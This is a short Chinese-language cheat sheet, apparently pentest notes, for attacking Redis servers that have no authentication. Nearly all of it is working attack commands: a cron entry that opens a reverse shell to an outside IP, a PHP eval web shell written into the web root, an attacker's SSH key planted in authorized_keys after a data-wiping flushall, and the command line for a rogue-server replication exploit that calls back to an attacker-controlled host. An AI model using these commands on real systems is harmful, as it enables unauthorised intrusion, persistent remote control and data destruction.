未授权无需认证访问内部数据库。
利用计划任务反弹shell
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
获取webshell
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save
写入公钥远程连接
利用条件:root用户,未授权访问,开启ssh服务
1. 事先先准备好自己的公钥,写入一个本地文件foo.txt。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt 2. 通过redis将该文件写入内存
$ redis-cli -h 192.168.1.11 flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit 3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
192.168.1.11:6379> save
OK 4.公钥登陆 ssh -i redis.pub root@192.168.192.133
主从复制漏洞:
paper:https://paper.seebug.org/975/
漏洞利用exp:
github:https://github.com/AdministratorGithub/redis-rogue-server
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>